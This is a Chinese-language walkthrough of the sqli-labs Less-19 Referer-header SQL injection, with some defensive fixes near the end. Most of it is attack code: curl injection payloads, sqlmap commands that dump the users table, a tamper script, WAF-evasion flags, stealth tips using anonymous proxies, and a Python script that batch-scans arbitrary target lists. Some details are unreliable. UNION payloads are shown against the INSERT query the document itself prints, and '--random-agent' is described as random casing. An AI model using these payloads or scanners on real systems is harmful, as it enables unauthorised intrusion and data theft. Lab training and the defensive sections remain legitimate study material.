1. 理解sqli-labs第19关的核心挑战
sqli-labs第19关是一个典型的HTTP头部注入漏洞场景,与常规的GET/POST参数注入不同,它考察的是对HTTP Referer头部的利用能力。这个关卡的设计初衷是模拟开发者在处理HTTP请求头部时未进行充分过滤的真实场景。
在实际渗透测试中,HTTP头部注入往往被初级安全人员忽视,因为:
- 大多数SQL注入教程聚焦于URL和表单参数
- 头部字段通常由浏览器自动填充,普通用户无法直接修改
- 开发人员容易认为HTTP头部是"可信"的系统生成数据
第19关的特殊性在于:
- 注入点位于Referer头部而非常见参数
- 服务器将Referer值直接拼接到SQL查询中
- 错误回显方式与常规关卡不同
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 手工测试与漏洞确认
2.1 基础测试步骤
首先通过手工测试确认漏洞存在:
bash复制curl -H "Referer: '" http://target/Less-19/
观察返回页面是否包含SQL语法错误信息,典型的MySQL错误可能表现为:
code复制You have an error in your SQL syntax...
2.2 确定注入类型
通过逐步测试确定注入类型:
bash复制# 测试数字型
curl -H "Referer: 1 and 1=1" http://target/Less-19/
# 测试字符型
curl -H "Referer: ' and '1'='1" http://target/Less-19/
根据返回结果判断是字符型还是数字型注入。
2.3 获取基本信息
确认注入点后,可以获取基础信息:
bash复制# 获取数据库版本
curl -H "Referer: ' union select 1,version(),3,4-- -" http://target/Less-19/
# 获取当前数据库
curl -H "Referer: ' union select 1,database(),3,4-- -" http://target/Less-19/
3. 自动化注入工具选型
3.1 sqlmap的适配配置
sqlmap是最适合自动化完成此任务的工具,但需要特殊配置:
bash复制sqlmap -u "http://target/Less-19/" --headers="Referer: *" --level=3 --risk=3
关键参数说明:
--headers:指定注入点位于头部--level:设置为3以检测头部注入--risk:提高风险等级以使用更复杂的测试语句
3.2 自定义tamper脚本
由于Referer头部有特殊格式要求,建议使用tamper脚本:
python复制# referer_tamper.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
return "http://malicious.com/" + payload
使用方式:
bash复制sqlmap -u "http://target/Less-19/" --headers="Referer: *" --tamper=referer_tamper
4. 分步骤自动化注入实战
4.1 数据库枚举
bash复制# 列出所有数据库
sqlmap -u "http://target/Less-19/" --headers="Referer: *" --dbs
# 指定数据库获取表
sqlmap -u "http://target/Less-19/" --headers="Referer: *" -D security --tables
# 获取表结构
sqlmap -u "http://target/Less-19/" --headers="Referer: *" -D security -T users --columns
# 导出数据
sqlmap -u "http://target/Less-19/" --headers="Referer: *" -D security -T users --dump
4.2 绕过WAF技巧
某些WAF会检测Referer头部:
bash复制# 使用随机大小写
sqlmap --random-agent
# 使用延时注入
sqlmap --delay=2
# 使用代理池
sqlmap --proxy="http://proxy:8080"
5. 防御方案与修复建议
5.1 开发层面的修复
php复制// 原始漏洞代码
$referer = $_SERVER['HTTP_REFERER'];
$sql = "INSERT INTO referers (referer, ip_address) VALUES ('$referer', '$ip')";
// 修复方案1:参数化查询
$stmt = $conn->prepare("INSERT INTO referers (referer, ip_address) VALUES (?, ?)");
$stmt->bind_param("ss", $referer, $ip);
// 修复方案2:严格过滤
$referer = filter_var($_SERVER['HTTP_REFERER'], FILTER_VALIDATE_URL);
if(!$referer) {
die("Invalid Referer");
}
5.2 运维层面的防护
- 部署WAF规则:
nginx复制location /Less-19/ {
if ($http_referer ~* ["'()]) {
return 403;
}
}
- 数据库权限最小化:
sql复制CREATE USER 'appuser'@'localhost' IDENTIFIED BY 'securepassword';
GRANT INSERT ON security.referers TO 'appuser'@'localhost';
REVOKE SELECT, UPDATE, DELETE ON *.* FROM 'appuser'@'localhost';
6. 自动化注入的进阶技巧
6.1 结合Burp Suite自动化
- 在Burp中捕获正常请求
- 保存为txt文件后使用sqlmap:
bash复制sqlmap -r request.txt --headers="Referer: *"
6.2 编写Python自动化脚本
python复制import requests
from bs4 import BeautifulSoup
def test_injection(payload):
headers = {'Referer': payload}
r = requests.get('http://target/Less-19/', headers=headers)
soup = BeautifulSoup(r.text, 'html.parser')
return "error" in str(soup).lower()
# 自动化检测
payloads = ["'", "' OR 1=1--", "' UNION SELECT null,version(),null,null--"]
for p in payloads:
if test_injection(p):
print(f"Vulnerable to: {p}")
6.3 多线程批量检测
python复制import concurrent.futures
with open('targets.txt') as f:
urls = [line.strip() for line in f]
def check_url(url):
try:
r = requests.get(url, headers={'Referer': "'"}, timeout=5)
return "error" in r.text.lower()
except:
return False
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
results = executor.map(check_url, urls)
for url, vuln in zip(urls, results):
if vuln:
print(f"{url} is vulnerable")
7. 真实环境中的注意事项
- 法律合规性:
- 仅对授权目标进行测试
- 获取书面渗透测试授权书
- 测试数据使用虚拟数据
- 隐蔽性考量:
- 设置合理的请求间隔
- 使用高匿名代理
- 限制扫描线程数
- 结果验证:
- 手工验证关键发现
- 记录完整的攻击链
- 区分误报和真实漏洞
- 性能影响:
- 避免在业务高峰期测试
- 监控目标系统负载
- 准备立即停止的方案
在实际渗透测试项目中,我通常会先使用手工测试确认漏洞存在,再用sqlmap进行深度利用。对于Referer头部注入,特别要注意测试数据的构造,确保包含合法的URL前缀,否则容易被WAF拦截。测试完成后,务必清理测试数据,恢复系统原状。
